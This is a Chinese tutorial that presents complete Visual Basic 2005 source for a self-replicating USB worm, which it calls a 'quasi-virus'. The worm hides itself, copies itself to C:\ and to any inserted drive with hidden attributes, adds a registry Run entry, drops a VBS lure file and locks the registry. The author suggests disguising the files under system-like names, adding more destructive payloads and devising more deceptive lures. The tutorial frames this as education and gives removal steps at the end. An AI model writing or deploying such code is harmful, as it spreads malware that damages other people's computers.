计算机病毒是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。从执行机理方面,一般分为文件型病毒、引导型病毒、宏病毒、木马病毒、脚本病毒、蠕虫病毒等。计算机病毒具有生命系统所固有的特性——繁殖、机体集成、不可预见性等。它的生命周期也类似于生物病毒,包括潜伏阶段、传染阶段、触发阶段、发作阶段等。因此研究计算机病毒的方法与研究生物病毒有一定的可比性。病毒技术和反病毒技术这对矛盾在不断的斗争中持续发展,是信息社会安全领域的重要课题。
计算机病毒最初被认为是顶级编程高手的杰作,但随着编程语言的不断高级化、简单化、专用化,一大批“低技术含量”的病毒开始从一些普通计算机用户的键盘下诞生。下面我们来看用Visual Basic 2005实现的一个通过U盘传播的准计算机病毒。之所以称其为“准计算机病毒”,是因为它能够简单地自发传染但可以控制,有演示性的破坏作用但很容易恢复。
该病毒存在形式为一可执行程序,由于使用Visual Basic 2005编写,要求宿主计算机安装有.NET Framework v2.0。病毒程序一旦运行,会将自身复制到C盘根目录,将复本设置隐藏属性,并在注册表中添加其启动项。染毒的计算机在插入U盘后,病毒随即将自身复制到U盘根目录(设置隐藏属性),同时新建一个用以启动病毒的“诱饵”文件。用户如果在没有染毒的计算机上执行了“诱饵”文件,会使这台计算机也染毒。作为演示性的破坏作用,计算机染毒后注册表会被锁定。
我们通过流程图直观说明:

下面就开始最重要的编写阶段:新建一个Visual Basic 2005 Windows Form应用程序。既然做的是病毒,就要需要它在用户不可见的情况下偷偷摸摸运行。因此我们首先设置默认窗体的FormBorderStyle为None,Text为空,Size为(0,0),WindowState为Minimized,ShowInTaskbar为False。这样一来,这个程序运行时用户看不到屏幕上会有什么异常。当然病毒进程在Windows任务管理器以及Alt+Tab的任务菜单中还会出现。要让病毒进程消失,涉及一些高级系统调用,这个例子中就不做了。我们可以采用障眼法,将程序的图标(包括窗体的Icon和应用程序属性中的Icon)设为一个不引人注目的图标(如Windows文件夹图标),骗过粗心的用户:

再添加一个Timer控件,命名为tmrWatcher,设置其Enabled为True,Interval为5000,用来每隔5秒检查是否有U盘插入。
在Code窗体中为默认窗体键入如下源代码:
- Imports System
- Imports System.IO
- Imports System.Collections
-
- Public Class frmVirus
-
- Private oldDisks As List(Of String) '上一状态的驱动器列表
- Private newDisks As List(Of String) '当前状态的驱动器列表
-
- '初始化驱动器列表
- Private Sub Init()
-
- oldDisks = New List(Of String)
- newDisks = New List(Of String)
-
- Dim di As DriveInfo
- For Each di In My.Computer.FileSystem.Drives
- oldDisks.Add(di.Name)
- Next
-
- End Sub
-
- '检查是否有新的驱动器出现,出现则认为是插入了U盘
- Private Function FindNewDisk() As String
-
- newDisks.Clear()
- Dim di As DriveInfo
- For Each di In My.Computer.FileSystem.Drives
- newDisks.Add(di.Name)
- Next
-
- '一一对照查找当前状态的驱动器有没有在上一状态存在
- Dim i, j As Integer
- Dim found As Boolean
- For i = 0 To newDisks.Count - 1
- found = False
- For j = 0 To oldDisks.Count - 1
- If newDisks(i) = oldDisks(j) Then
- found = True
- Exit For
- End If
- Next
- If Not found Then
- Return newDisks(i) '返回U盘盘符,如“F:\”
- End If
- Next
- Return String.Empty '返回空表示没有新的驱动器出现
-
- End Function
-
- '将病毒体从当前位置复制到参数disk所示的磁盘的根目录
- '(这里简单认为C盘之外的盘符都为U盘)
- Private Sub CopyVirusToDisk(ByVal disk As String)
-
- Dim myname, objname As String
- myname = My.Application.Info.DirectoryPath & "\LynxVirus.exe"
- objname = disk & "\LynxVirus.exe"
-
- If Not File.Exists(objname) Then
- Try
- '复制自身到目标位置
- File.Copy(myname, objname, True)
- '为病毒文件设置“隐藏”、“系统”、“存档”属性,防止被发现
- File.SetAttributes(objname, FileAttributes.Hidden Or FileAttributes.System Or FileAttributes.Archive)
- '如果目标位置不是C盘(认为是U盘),则写入一个从U盘启动病毒的“诱饵”文件
- If disk.ToUpper().Chars(0) <> "C" Then
- WriteABait(disk)
- End If
- Catch ex As Exception
- End Try
- End If
-
- '如果当前位置是C盘,则复制之后程序不退出,驻留内存以便向新插入的U盘传染自身
- '如果当前位置不是C盘(认为是U盘),则复制之后启动C盘上的复本,然后退出自身,以便U盘可以正常卸下
- If myname.ToUpper().Chars(0) <> "C" Then
- Dim Info As New System.Diagnostics.ProcessStartInfo()
- Dim Proc As New System.Diagnostics.Process()
- Info.WorkingDirectory = "C:\"
- Info.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
- Info.FileName = "LynxVirus"
- Try
- Proc = System.Diagnostics.Process.Start(Info)
- Catch ex As Exception
- End Try
- Application.Exit()
- End If
-
- End Sub
-
- '写入一个从U盘启动病毒的“诱饵”文件
- Private Sub WriteABait(ByVal disk As String)
-
- Dim filename As String
- filename = disk & "\Bait.vbs"
-
- Try
- Dim sw As StreamWriter
- sw = File.CreateText(filename)
- '“诱饵”文件通过VBS脚本运行病毒文件
- sw.WriteLine("Set p = WScript.CreateObject(""WScript.Shell"")")
- sw.WriteLine("p.Exec(""LynxVirus"")")
- sw.Flush()
- sw.Close()
- Catch ex As Exception
- End Try
-
- End Sub
-
- '在注册表中添加启动项,使病毒开机自动运行
- Private Sub MakeAutorun()
-
- Try
- My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run\", True).SetValue("LynxVirus", "C:\LynxVirus.exe", Microsoft.Win32.RegistryValueKind.String)
- Catch ex As Exception
- End Try
-
- End Sub
-
- '病毒对计算机的破坏过程
- Private Sub Destroy()
-
- Try
- If My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System\") Is Nothing Then
- My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\", True).CreateSubKey("System")
- End If
- My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System\", True).SetValue("DisableRegistryTools", 1, Microsoft.Win32.RegistryValueKind.DWord)
- Catch ex As Exception
- End Try
-
- End Sub
-
- '病毒程序启动时的初始化
- Private Sub frmVirus_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
-
- CopyVirusToDisk("C:\")
- MakeAutorun()
- Init()
- Destroy()
-
- End Sub
-
- '每隔一定时间检查是否有U盘插入,若有则向新插入的U盘传染病毒
- Private Sub tmrWatcher_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrWatcher.Tick
-
- Dim disk = FindNewDisk()
- If disk <> String.Empty Then
- CopyVirusToDisk(disk)
- Init()
- End If
-
- End Sub
-
- End Class
上面代码中LynxVirus.exe、Bait.vbs分别为病毒文件名和“诱饵”文件名,在实际编写的时候可以改为一些具有欺骗性的名称,如Rundll32.exe、prnmngr.vbs。Destroy()函数是病毒破坏过程,可以自行添加一些潜伏性、触发性功能代码或其它破坏性功能代码。
这个病毒的主要缺陷是自发传染能力不强,可以自动地从硬盘传向U盘,但不能自动地从U盘传向硬盘。事实上一些通过U盘传染的病毒大都使用Autorun.inf、folder.htt等自动运行和自定义文件夹脚本来复制自身到硬盘。但随着Windows安全性能的提高、用户防范意识的增强,这种传染方式已经在大多数计算机上实效了,无故出现的Autorun.inf、folder.htt等文件反而会引起用户警觉。使用“诱饵”文件诱惑用户运行病毒,需要抓住用户的心理。早期的邮件病毒常用“情书”、“中奖信息”等诱惑用户,现在已不盛行。本病毒使用VBS脚本作为“诱饵”也会引发用户的警觉。用什么方法更具欺骗性,留给大家思考。
了解了这个病毒的机理,清除它的方法也很简单:只要在Windows任务管理器中结束它的进程,删除C盘下的病毒文件,然后解锁注册表(可以通过REG、VBS脚本或第三方工具,网上介绍很多,这里从略),删除其启动项即可。
通过这个例子我们可以看出,计算机病毒技术并不神秘。学习一些计算机病毒基础理论,了解病毒破坏和传播的机理,对广大计算机用户是很有必要的。亲自动手编程模拟一个病毒,可以加深对理论知识的理解,同时提高信息安全防范意识。
参考资料:
[1]韩筱卿 等,计算机病毒分析与防范大全,电子工业出版社,2006